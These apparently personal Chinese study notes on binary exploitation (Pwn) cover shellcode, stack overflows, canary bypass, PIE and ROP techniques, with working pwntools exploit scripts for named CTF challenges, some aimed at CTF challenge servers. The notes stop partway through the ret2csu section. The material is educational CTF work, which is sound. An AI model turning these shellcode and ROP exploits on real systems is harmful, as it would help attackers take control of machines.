GENIA

Pwn 学习笔记

2023-12-08

参考资料:

4.12 利用 __stack_chk_fail - CTF 竞赛权威指南 Pwn 篇 - 开发文档 - 文江博客 (wenjiangs.com)

星盟 Pwn 公开课

攻击概要

expoit 攻击脚本,一整套攻击方案

payload 攻击载荷,构造的恶意数据

shellcode 调用攻击目标shell的机器码

一道题目,会提供服务器的IP和对应的端口,计网知识

一步一步学pwntools (qq.com)


nc 是什么命令?

是”Netcat”的缩写,用于网络通信的工具,可以在不同的网络层级上进行数据传输和操作。可以用于TCP/IP和UDP套接字的创建和连接、监听端口和处理传入连接、发送和接收数据流,进行网络调试和测试。

nc [options] host(目标主机的名称) port(目标主机的端口号)

nc命令用法实例总结 - 知乎 (zhihu.com)

buu第一道pwn


运行exp脚本攻击远程服务器的逻辑是什么?

把payload顺着网线送过去了(具体是个什么过程 ),获得了shell的控制权,然后控制服务器得到flag。

shellcode

通过软件漏洞利用过程中使用一小段机器代码

作用包括但不限于 启用shell进行交互、打开服务器端口等待连接、反向连接端口(?)

shellcode 编写

简单的实验:

1
2
3
4
5
6
7
8
# include "stdlib.h"
# include "unistd.h"

void main()
{
system("/bin/sh");
exit(0);
}

gcc 编译后用 gdb 调试:

当执行到 system(“/bin/sh”) 时,先 call plt表,再根据 plt 表找到 system 函数。

当可容纳 shellcode 的空间较小时,以上方法不再成立。

问题及解决

解题过程中,shellcode 的大小被控制在几十个字节以内,而且由于地址未知,我们无法直接调用系统函数。

  • 触发中断(int 0x80 或者 syscall),进行系统调用
  • 使用 system 的底层调用 execve(“/bin/sh”,0,0)

syscall 调用表:https://publicki.top/syscall.html

32位步骤:

  1. 设置 ebx 指向 /bin/sh
  2. ecx = 0,edx = 0
  3. eax = 0xb
  4. int 0x80 触发中断调用

用汇编做一个简单实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
;通过nasm编译汇编文件并生成可执行文件,需要使用链接器(ld)将生成的目标文件与C runtime库链接起来。
;nasm -f elf32 shellcode.asm -o shellcode.o
;ld -m elf_i386 -o shellcode shellcode.o

section .data
shell db '/bin/sh', 0 ; 存储 /bin/sh 字符串,并在末尾添加 null 字节

section .text
global _start

_start:
; 1.设置 ebx 指向 /bin/sh
xor eax, eax ; 将 eax 清零
mov ebx, shell ; 将 ebx 设置为字符串 /bin/sh 的地址

; 2.设置 ecx 和 edx 的值为 0
xor ecx, ecx ; 将 ecx 清零
xor edx, edx ; 将 edx 清零

; 3.设置 eax 为 0xb (execve系统调用号)
mov eax, 0x0b ; 设置 eax 为系统调用号 0xb (execve)

; 4.触发中断调用
int 0x80 ; 执行系统调用

; 退出程序
xor eax, eax ; 将 eax 清零,表示正常退出
mov ebx, eax ; 将 ebx 设置为返回码(通常为0)
inc eax ; 将 eax 设置为 1 (exit syscall)
int 0x80 ; 执行系统调用,退出程序

将汇编编译后得到的可执行文件用 gdb 调试:

可以不再使用不知道地址的函数。

64位步骤:

  • 设置 rdi 指向 /bin/sh
  • rsi = 0,rdx= 0
  • rax = 0x3b
  • syscall 进行系统调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
;nasm -f elf64 shellcode64.asm -o shellcode64.o
;ld -m elf_x86_64 -s -o shellcode64 shellcode64.o

section .data
shell db '/bin/sh', 0 ; 存储 /bin/sh 字符串,并在末尾添加 null 字节

section .text
global _start

_start:
; 1.设置 rdi 指向 /bin/sh
xor rdi, rdi ; 将 rdi 清零
mov rdi, shell ; 将 rdi 设置为字符串 /bin/sh 的地址

; 2.设置 rsi 和 rdx 的值为 0
xor rsi, rsi ; 将 rsi 清零
xor rdx, rdx ; 将 rdx 清零

; 3.设置 rax 为 0x3b (execve系统调用号)
mov rax, 0x3b ; 设置 rax 为系统调用号 0x3b (execve)

; 4.使用syscall指令进行系统调用
syscall

; 退出程序
xor rax, rax ; 将 rax 清零,表示正常退出
add rax, 60 ; 将 rax 设置为 60 (exit系统调用号)
xor rdi, rdi ; 将 rdi 设置为返回码(通常为0)
syscall

一样可以得到shell。

使用工具快速生成

使用pwntools:

  • 设置目标架构
  • 生成shellcode

32位:

1
2
3
from pwn import*
context(log_level = 'debug',arch = 'i386',os = 'linux')
shellcode = asm(shellcraft.sh())

64位:

1
2
3
from pwn import*
context(log_level = 'debug',arch = 'amd64',os = 'linux')
shellcode = asm(shellcraft.sh())

使用pwntools直接生成的 shellcode 不存在 00 字符。

PS:一般工具直接生成的 shellcode 会比手写的长一点。

例题1:mrctf2020_shellcode

向缓冲区 buf 中读入 400h 内容,eax(输入的字节个数)与0比较,不为0时调用执行读入的内容。

这里使用了 call rax,所以 IDA F5失效了。(?)

查看保护,无 NX,所以可以实现栈上的代码执行。且拥有可读写执行的段。

很明显直接输入shellcode即可,不管是用pwntools直接生成还是用手写的代码都行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h']) #need tmux
p = process('./mrctf2020_shellcode')
shellcode1 = '''
mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 0x3b
pop rax
syscall
'''
payload1 = asm(shellcode1)

payload2 = asm(shellcraft.sh())

# p.send(payload1)
p.send(payload2)

p.interactive()

这题卡死在一个很蠢的点上一直打不通。rdi 中本来应该存储 “/bin/sh”字符串的地址,我把它直接传给 rdi 了。正确的操作是把它放到栈上,然后把 rsp 的值传给 rdi。

当然用 pwntools 直接生成更简单。两种都可以打通。

例题2:ciscn_2019_s_9

fflush(stdin):刷新缓冲区,将缓冲区内的数据清空并丢弃。 fflush(stdout):刷新缓冲区,将缓冲区内的数据输出到设备。

查看函数列表,可以发现一个 hint:

1
2
3
4
void hint()
{
__asm { jmp esp }
}

fgets 处可以用于实现溢出,查看保护,栈可执行。如果直接构造 ROP 链可能这里能溢出的长度不是很够。

思路:通过 fgets 将 shellcode 写入栈,再将 return 的地址覆盖为 jmp esp,即可执行栈上的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*

p = process("./ciscn_s_9")
p = remote("node4.buuoj.cn",29792)

shellcode = '''
xor eax,eax
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''
hint_addr = 0x8048554

shellcode = asm(shellcode)

shell = "sub esp,0x28;call esp"
shell = asm(shell)

p.recvuntil(">\n")
payload = shellcode.ljust(0x24,b'a')
payload += p32(hint_addr) # jmp esp

payload += shell

p.sendline(payload)
p.interactive()

汇编还是非常重要的,要经常复习。

二进制基础

程序的编译和链接

对C语言代码进行预处理——>预处理之后的C代码——>编译——>汇编代码——>汇编——>生成机器码

链接——> 将多个机器码的目标文件链接成一个可执行文件(指令的执行需要用到操作系统的一些链接库)

可执行文件

不同的操作系统不同的名称,本质还是二进制文件

可执行程序(exe/out),动态链接库(dll/so),静态链接库(lib/a)

ELF 文件结构

头、节、段

一个段可以包含多个节,段是用来规定程序的可读写执行权限的。

节视图用于 ELF 文件 编译链接时 与 在磁盘上存储时 的文件结构的组织

代码段包含了代码与只读数据

数据段包含了可读可写的数据

查看ELF文件结构

objdump -s elf

cat /程序对应的进程号/pid/maps 查看内存中的内容

显示进程的内存映射信息,包括内存地址范围、权限、偏移量、设备号、inode号和映射的文件路径等。每一行表示一个内存映射区域。

磁盘中的 ELF(可执行文件)和 内存中的 ELF(进程内存映像)

ELF 文件到虚拟地址空间的映射,在物理内存中是不连续的,虚拟内存(抽象层)中是连续的

可执行文件和源代码均存在磁盘上,当需要执行时,需要为可执行文件分配一段虚拟内存,将可执行文件映射到虚拟内存中供CPU读取使用。

地址以字节编码,常以16进制表示

虚拟内存用户空间每个进程一份

虚拟内存内核空间所有进程共享一份

虚拟内存mmap段中的动态链接库仅在物理内存中装载一份

前面两个加起来是 4GB (32位)

操作系统的基础由 gnu 和 操作系统内核组成

再加上软件源、用户态软件

内核和驱动起到的是管理硬件的作用

内存中的数据的写入是从低地址写到高地址

人类视觉:由上到下

程序视觉:由下到上

程序数据是如何在内存中组织的?

未初始化的全局变量存储在 Bss

字符串如果是只读数据,依旧会被放在代码段(rodata)

如果分配的是堆上的内存,那读取的内容存放在堆内存中,例如malloc这种

大端序和小端序

小端序比较常见,指低地址存放数据低位、高地址存放数据高位(LSB)

大端序和小端序相反,低地址存放数据高位、高地址存放数据低位(MSB)

CPU 和 内存配合执行数据

内存将对应的数据和指令机器码送到 CPU ,CPU执行指令的过程中将一些数据再返还到内存中。CPU 通过内部的寄存器暂存数据(比如参数值或中间计算结果)。

动态链接的程序的执行过程(?)

我们运行程序时,操作系统的内核会创建一个新的进程,为程序提供运行环境。新的进程通过执行系统调用 execve 进入内核(内核负责管理计算机的底层资源和提供一些功能的接口)。进入内核后,内核执行一些初始化操作,准备好运行环境。其中涉及一些底层的函数和操作,可以简单理解为内核在为程序做一些准备工作。

接着使用动态链接器(如 ld.so)来加载和链接所需的动态链接库。ld.so 是一个系统级的库文件,它在程序运行时负责加载动态链接库,并将其与程序进行动态连接, 还提供符号解析、重定位等功能,确保库函数的正确调用和运行。

然后,进程会开始执行可执行文件中的 _start 标签所对应的代码。这段代码通常是由编译器生成的,它会执行一些底层的初始化操作,例如设置堆栈、加载寄存器等。在 _start 代码执行的过程中,会调用名为 __libc_start_main 的函数。负责进行动态链接的初始化工作。

__libc_start_main 函数的最后一步即调用 main 函数。

编写程序代码 ——> 编译生成可执行文件 ——> 运行可执行文件 ——> 内核初始化 ——> 动态链接器加载和链接所需的动态链接库——>执行 _start 代码 ——> 调用 __libc_start_main 函数 ——> 执行 main 函数

这个过程中,计算机的内核负责提供运行环境和执行所需的底层操作,程序通过和内核提供的接口进行交互,实现所需的功能。

动态链接的程序在执行过程中,并不在开始时将所有的库函数代码和数据嵌入到可执行文件中,而是在需要时进行动态加载和链接。动态链接器负责在程序运行时加载和链接所需的动态链接库,这使得多个程序可以共享同一个动态链接库,节省磁盘空间和内存。动态链接的程序具有更好的可扩展性和灵活性,因为库的更新和替换可以独立于可执行文件的重新编译和发布。相较于静态链接的程序,动态链接的程序在启动时会经过动态链接器的初始化过程,包括加载动态链接库和设置环境等操作,可能在执行过程中引入一些额外的开销,例如加载和链接动态链接库的时间。但由于多个程序可以共享同一个动态链接库,整体上可以提供更好的内存利用率。

ld.so的功能和调用时机与__libc_start_main是否有重合?以及重定位等功能具体怎么理解,是怎么实现的?

汇编

主要是x86

amd64向下兼容x86

rax(8bytes)——>取低四位——>eax(4bytes)——>ax(2bytes)——>al+ah(1bytes)

主要的几个寄存器:rip、rsp、rbp、rax

查看文件所用 libc 版本

1
2
3
4
5
6
giantbranch@ubuntu:~/Desktop/buu/wustctf2020_easyfast$ ldd '/home/giantbranch/Desktop/buu/wustctf2020_easyfast/wustctf2020_easyfast' 
linux-vdso.so.1 => (0x00007ffe029f8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d77032000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d773fc000)
giantbranch@ubuntu:~/Desktop/buu/wustctf2020_easyfast$ ls -alh /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Apr 21 2021 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.23.so

栈溢出基础

函数调用栈是一块连续的内存区域,用于保存程序运行过程中的状态信息(函数参数、局部变量……)

函数调用栈在内存中由高地址向低地址生长,栈顶对应的内存地址在压栈时变小,退栈时变大

主要的寄存器

esp:存储栈顶地址

ebp:存储栈底地址

eip:存储即将执行的程序指令的地址

函数调用开始

核心任务:保存调用函数的状态,创建被调用函数的状态。

将被调用函数的参数逆序入栈 ——> 将被调用函数进行调用后的下一条地址入栈(被调用函数的返回地址) ——> 将当前 ebp 寄存器的值入栈 ——> 将 ebp 的值更新为当前栈顶的地址(mov ebp,esp)——> 将被调用函数的局部变量等数据入栈

发生调用时,程序还会将被调用函数的指令地址存放在 eip 内,以便函数依次执行被调用函数的指令。

函数调用结束

核心任务:丢弃被调用函数的状态,将栈顶恢复为调用函数的状态。

被调用函数的局部变量弹出 ——> 栈顶指向被调用函数的基地址 ——> 将调用函数的基地址弹出,保存在 ebp 内(pop ebp)——> ebp 恢复到调用被调用函数之前的位置 ——> 将调用函数的返回地址弹出,保存在 eip 中(pop eip)

要点

函数调用栈中,eip 中存储的值完全是由栈中的返回地址决定的,栈溢出的原理就在于修改这个返回地址,使 eip 指向我们希望的位置,控制整个程序的执行流。

缓冲区溢出

向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法的内存区域。

常见的有栈溢出、堆溢出、Data段溢出

canary绕过

canary

一种用来防护栈溢出的保护机制,原理是在一个程序的入口处,先从fs(32)/gs(64)寄存器中取出一个四字节(eax)或八字节(rax)的值存到栈上(缓冲区的后面),函数结束时会检查这个栈上的值是否和存进去的值一致。(?)

canary 如果被篡改,会触发 __Stack_chk_fail函数并直接报错。

绕过姿势

格式化字符串泄露canary

通过溢出将 canary 的最后一位改为 /00,通过 printf 输出 canary。

stack smash

以一个程序为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
# include<stdio.h>
void func()
{
char a[0x10];
read(0,a,0x500);
return;
}

int main(void)
{
func();
return 0;
}

编译运行这个程序,简单溢出,会报出如下错误:

1
2
3
4
giantbranch@ubuntu:~/Desktop/test$ ./test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./test terminated
Aborted (core dumped)

用 gdb 调试:

当 canary 被篡改时会触发 __Stack_chk_fail。

查看__Stack_chk_fail 函数源码:

1
2
3
4
5
6
7
8
9
10
// debug/stack_chk_fail.c

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

调用函数 __fortify_fail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// debug/fortify_fail.c

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

__fortify_fail 会负责打印出错误信息和文件名。

如果将 flag 地址覆盖到 libc_argv[0],就可以利用 __fortify_fail 打印出 flag。

但是仅限于 libc-2.23 版本之前可以这么干,之后的版本就对 __fortify_fail 进行了修改。

如2.27:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/* The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while (1)
__libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
}

need_backtrace && __libc_argv[0] 必须同时为空才能输出理想的内容。

如2.31:

1
2
3
4
5
6
7
8
9
void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (do_abort, "*** %s ***: terminated\n", msg);
}
libc_hidden_def (__fortify_fail)

直接砍掉了第二个参数。

例题:wdb2018_guess(网鼎杯2018)

64位,NX and Canary

这个程序首先将 flag 读入 buf 缓冲区中,然后让用户猜测 flag 并输入,与 buf 进行比对。

猜是不可能猜的,所以可以尝试 stack smash 直接把 flag 泄露出来。

sub_400A11() 处可以 fork。子进程中,循环终止,继续向下执行 gets()。父进程中,由于 if 中判断值为假,程序会不断地 wait,不断地 fork。直到 v6 等于 v7 等于 3,结束循环。一共有三次 fork 机会。

先泄露 libc。

多进程下的爆破

pid_t fork(void) 函数

创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程,调用 fork() 后,子进程与父进程的执行顺序是无法确定的。子进程无法通过 fork() 来创建子进程。

它有三个返回值:

  1. 父进程中,fork 返回新创建子进程的 ID
  2. 子进程中,fork 返回 0
  3. 如果出现错误,fork 会返回一个负值

如题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

void backdoor()
{
system("/bin/sh\x00");
}

void func()
{
puts("Input your name:");
char buf[0x20];
read(0,buf,0x60);
}

int main(void)
{
inits();
pid_t pid = 0;
while(1)
{
pid = fork();
if(pid < 0)
{
printf("Error!");
exit(0);
}
if(pid == 0)
{
func();
puts("Good!");
}
else
wait();
}
return 0;
}

canary 的第一位永远是 ‘\x00’,因此只需要爆破剩下七位即可。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
#context.log_level = 'debug'
p = process("./canary_fork")

elf = ELF("./canary_fork")

p.recvuntil("Input your name:\n")
canary = '\x00'
backdoor_addr = 0x40127d

for j in range(7):
for i in range(0x100):
p.send('a'*0x28 + canary + chr(i))
a = p.recvuntil("Input your name:\n")
if b'Good!' in a:
canary += chr(i)
print(hex(u64(canary.ljust(8,'\x00'))))
break

print(hex(u64(canary)))
p.sendline('a'*0x28 + canary + 'a'*8 + p64(backdoor_addr))
p.interactive()

PIE

针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一种防御技术,当程序开启了 PIE 保护,在每次加载程序时都变换加载地址,从而不能通过 ROPgadget 等一些工具帮助解题。

开了 PIE 保护的程序,所有代码段的地址都只有最后三个数是已知的。程序的加载地址一般以内存页为单位,所以程序的基地址的最后三个数一定是 0,因此开了 PIE 后显示的后三位地址也就是实际地址的后三位。

partial writing

利用栈上已有的地址,只修改它们的最后两个字节(4个数字)。第四个数字通过爆破得到正确的结果。

开了PIE之后 gdb 通过 *$rebase(0xxxx)下断点

泄露 PIE 基地址

ret2xxx

ROP

参考资料:http://github.com/zhengmin1989/ROP_STEP_BY_STEP

在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或变量的值,从而控制程序的执行流程。

gadgets 即以 ret 结尾的指令序列。

ROP 攻击一般需要满足以下条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址

gadgets 的地址如果不固定,则需要想办法动态获取其地址。

ret2text

控制程序执行程序本身已有的代码(.text)

例题1:jarvisoj_level2

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

read 存在溢出。有现成的 system 函数和 “/bin/sh” 字符串。

32 位的情况下,使用栈传递参数,可以画出正常调用时的栈图。

只需要控制返回地址为 system 函数地址并传入对应参数即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
#p = process("./level2")
p = remote("node4.buuoj.cn",27055)

sh_addr = 0x0804A024
sys_plt = 0x08048320

payload = 'a'*0x88 + 'b'*0x4 + p32(sys_plt) + p32(0) + p32(sh_addr)

# p.recvuntil(b"Input:\n")
p.sendline(payload)
p.interactive()

例题2:jarvisoj_level2_x64

检查保护,只开了 NX。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

system("echo Input:");
return read(0, buf, 0x200uLL);
}

漏洞和 32 位也是一样的。

主要是传参过程和 32 位有差异。32 位传参在栈上进行。64 位优先使用寄存器(依次为rdi,rsi,rdx,rcx,r8,r9),当参数超过六个时再使用栈。

那这题比较大的不同就是要把 “/bin/sh” 字符串的地址存在 rdi 中。

寻找 pop rdi;ret;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
giantbranch@ubuntu:~/Desktop/buu/jarvisoj_level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

找到目标 0x4006b3。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
# p = process("./level2_x64")
p = remote("node4.buuoj.cn",28991)

rdi_ret_addr = 0x4006b3
bin_sh_addr = 0x600A90
sys_plt_addr = 0x4004C0

payload = b'a'*128+ b'b'*8 + p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(sys_plt_addr)

p.sendline(payload)
p.interactive()

ret2shellcode

控制程序执行 shellcode 代码,一般由我们自己去填充。

例题1:jarvisoj_level1

检查保护,啥也没开。尤其是堆栈可执行。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

泄露 buf 的地址,在 buf 地址处写入 shellcode(使用pwntools自动生成),并把返回地址改为 buf 地址。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
file_path = './level1'
context(binary = file_path,os = 'linux',terminal = ['tmux','sp','-h'])
p = process("./level1")

p.recvuntil("What's this:")
# 从进程的输出中接收接下来的10个字符,并将它们解释为十六进制数
buf = int(p.recv(10),16)
shellcode = asm(shellcraft.sh())
# 在shellcode的右侧填充字符,直到达到指定的溢出长度
payload = shellcode.ljust(0x88+4,b'a')+p32(buf)
p.sendline(payload)

p.interactive()

ret2syscall

控制程序执行系统调用获取 shell。

例题1:inndy_rop

方法一、自己实现系统调用

32位,开了NX保护。

1
2
3
4
5
int overflow()
{
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
return gets(v1);
}

没有直接可用的后门函数,也没有现成的 /bin/sh 字符串,需要自己实现系统调用。

1
2
giantbranch@ubuntu:~/Desktop/buu/inndy_rop$ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

statically linked 意味着静态编译,因此程序一定存在 int 0x80,可以自己使用中断调用系统函数。

1
2
read(0,bss+0x100,8) //读入/bin/sh    设置eax为0x03
execve(bss+0x100,0,0) //getshell 设置eax为0x0b

用 ROPgadget 找到以下 gadgets:

1
2
3
4
0x080b8016 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret

搜索 int 0x80 需要用到 Ropper 工具。(这个工具必须在python3环境下使用)

Rop gadgets搜索工具 Ropper 的安装与使用 - robotech_erx - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
giantbranch@ubuntu:~/Desktop/buu/inndy_rop$ ropper --file rop --search "int 0x80"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80

[INFO] File: rop
0x0806c943: int 0x80;
0x0806f430: int 0x80; ret;

bss的地址选取任意可读可写的地址即可,这里的地址是在动调时随意取的:

构造 ROP 链,写出 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
# p = process("./rop")
p = remote("node4.buuoj.cn",26428)

pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
int_0x80_ret = 0x0806f430
bss = 0x080e9000

payload = b'a'*12 + b'b'*4

# read()
payload += p32(pop_eax_ret) + p32(0x03)
payload += p32(pop_ebx_ret) + p32(0x0)
payload += p32(pop_ecx_ret) + p32(bss+0x100)
payload += p32(pop_edx_ret) + p32(0x8)
payload += p32(int_0x80_ret)

# exceve()
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_ebx_ret) + p32(bss+0x100)
payload += p32(pop_ecx_ret) + p32(0)
payload += p32(pop_edx_ret) + p32(0)
payload += p32(int_0x80_ret)

p.sendline(payload)
# sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()
方法二、对于静态链接的程序使用工具直接生成ropchain

使用 ropper 生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
giantbranch@ubuntu:~/Desktop/buu/inndy_rop$ ropper --file rop --chain execve
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print(rop)
[INFO] rop chain generated!

使用 ROPgadgets 生成:

1
ROPgadget --binary rop --ropchain

我用 ROPgadgets 总是生成不成功,怪。

直接在自动生成的 ROP 前面加上溢出量即可。

ret2libc

控制程序执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got 表项的内容)。一般选择执行 system(”/bin/sh”)。

例题1:jarvisoj_level1 二解

1
2
3
4
5
6
7
ssize_t vulnerable_function() // 32bit没有开任何保护
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

这次直接利用溢出,构造 rop 链调用 write(1, xx_got, 4) 泄露 libc 基地址 ——> 再次调用 main 函数 ——> 根据 libc 基址得到 system 和 /bin/sh 字符串地址 ——> 再次利用漏洞构造 rop 调用 system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
from LibcSearcher import *

p = process("./level1")

level1 = ELF('./level1')
write_plt = level1.plt['write']
read_got = level1.got['read']

main_addr = 0x080484B7

# use write() to leak libc
payload = b'a'*136 + b'b'*4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)

p.sendafter('?',payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr -libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success("libc_base:{}".format(hex(libc_base)))
log.success("system_addr:{}".format(hex(system_addr)))
log.success("bin_sh_addr:{}".format(hex(bin_sh_addr)))

# get the flag
# p32(0) is a fake ret_addr
payload2 = b'A'*136 + b'B'*4 + p32(system_addr) + p32(0) + p32(bin_sh_addr)

p.send(payload2)
p.interactive()

ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候我们很难找到每个寄存器对应的 gadgets。此时,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

loc_4006A6 作为 gadget1 ,利用栈对一系列寄存器进行赋值。

loc_400690 作为 gadget2。

二者组合可以实现rdi,rsi,rdx寄存器的赋值,并通过 r12 和 rbx 实现系统调用。

如何构造 ROP 链?

假设要利用 csu 调用 write(1,write_got,8) 来达到泄露 libc。

  1. 使用 call 调用write 需要 [r12+rbx*8] = write_got

